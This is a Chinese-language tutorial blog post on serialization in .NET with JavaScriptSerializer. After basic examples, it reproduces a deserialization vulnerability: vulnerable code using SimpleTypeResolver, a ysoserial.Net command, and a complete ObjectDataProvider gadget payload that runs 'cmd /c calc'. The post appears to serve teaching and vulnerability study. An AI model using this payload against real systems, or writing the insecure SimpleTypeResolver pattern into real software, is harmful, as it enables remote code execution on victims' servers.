.NET下的序列化与反序列化(JavaScriptSerializer)
前言:
之前发表过一篇有关于.Net平台下的序列化与反序列漏洞。不过整文是通过Json.Net实现的。
其实在.Net平台中,有不少库能够实现序列化与反序列化,其中少数因编写不正确,可导致反序列化漏洞,造成命令执行。
本次将使用 JavaScriptSerializer 进行序列化与反序列化。
参考文章:
[https://www.websecuritys.cn/archives/netxlh-1.html
](https://www.websecuritys.cn/archives/netxlh-1.html )
序列化与反序列化的原理
序列化:
序列化是将对象状态转换为可保持或传输的形式的过程.
反序列化:
序列化的补集是反序列化,后者将流转换为对象。 这两个过程一起保证能够存储和传输数据。
实现一个序列化:
这里先定义一个类 Test_Demo,类中定义三个公开变量,name ,sex,age
public class Test_Demo
{
public String name;
public String sex;
public int age;
}
在Main方法中,将其例化并对其中变量进行初始化
static void Main(string[] args)
{
Test_Demo test = new Test_Demo();
test.name = "远海";
test.sex = "男";
test.age = 19;
Console.ReadKey();
}
使用JavaScriptSerializer对其对象进行序列化。
创建JavaScriptSerializer对象
JavaScriptSerializer js =new JavaScriptSerializer();
使用js对象中的Serialize进行序列化操作
var json = js.Serialize(test);
完整代码:
using Newtonsoft.Json;
using SynjonesPay.Common;
using System;
using System.Collections;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net.Security;
using System.Runtime.Caching;
using System.Security.Cryptography;
using System.Text;
using System.Web;
using System.Web.Script.Serialization;
namespace ConsoleApp9
{
class Program
{
static void Main(string[] args)
{
Test_Demo test = new Test_Demo();
test.name = "远海";
test.sex = "男";
test.age = 19;
JavaScriptSerializer js = new JavaScriptSerializer();
var json = js.Serialize(test);
Console.WriteLine(json);
Console.ReadKey();
}
}
public class Test_Demo
{
public String name;
public String sex;
public int age;
}
}
运行结果:
实现一个反序列化:
反序化即是将字符集转换成对象
先声明一串String类型的字符集
static void Main(string[] args)
{
String js = "{\"name\":\"yuanhai\",\"sex\":\"男\"}";
Console.WriteLine(js);
Console.ReadKey();
}
创建JavaScriptSerializer对象
JavaScriptSerializer js =new JavaScriptSerializer();
使用DeserializeObject将其转换为Object对象
Object result = jss.DeserializeObject(js);
完整代码如下
using Newtonsoft.Json;
using SynjonesPay.Common;
using System;
using System.Collections;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net.Security;
using System.Runtime.Caching;
using System.Security.Cryptography;
using System.Text;
using System.Web;
using System.Web.Script.Serialization;
namespace ConsoleApp9
{
class Program
{
static void Main(string[] args)
{
String js = "{\"name\":\"yuanhai\",\"sex\":\"男\"}";
JavaScriptSerializer jss = new JavaScriptSerializer();
Object result = jss.DeserializeObject(js);
Console.WriteLine(result);
Console.ReadKey();
}
}
}
运行结果:
反序列化漏洞的利用:
造成反序列化漏洞的主要原因,是开发人员书写时调用了不安全的方法。
如JavaScriptSerializer,如果开发人员在进行反序化过程中,实例化了SimpleTypeResolver类。就会导致反序列化漏洞
如:
JavaScriptSerializer jss = new JavaScriptSerializer(new SimpleTypeResolver());
漏洞复现:
使用ysoserial.Net 生成Payload:
./ysoserial.exe -f JavaScriptSerializer -g ObjectDataProvider -o raw -c "calc" -t
-f JavaScriptSerializer 类型 -g ObjectDataProvider 攻击向量 -o 输出格式 -c 命令 -t 是否测试
使用DeserializeObject,对其Payload进行反序列化操作
完整代码:
namespace ConsoleApp9
{
class Program
{
static void Main(string[] args)
{
String Payload = @"{
'__type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'ObjectInstance':{
'__type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'StartInfo': {
'__type':'System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'FileName':'cmd', 'Arguments':'/c calc'
}
}
}";
JavaScriptSerializer jss = new JavaScriptSerializer(new SimpleTypeResolver());
Object result = jss.DeserializeObject(Payload);
Console.WriteLine(result);
Console.ReadKey();
}
}
}
运行结果
成功的执行命令。
总结:
相比.Net来说,实现反序列化漏洞都需要特定的条件。在实际场景中较为少见。
目前文章所发布的类型与条件:
Json.Net === TypeNameHandling
需被重写 不为None
JavaScriptSerializer === 需实例化SimpleTypeResolver类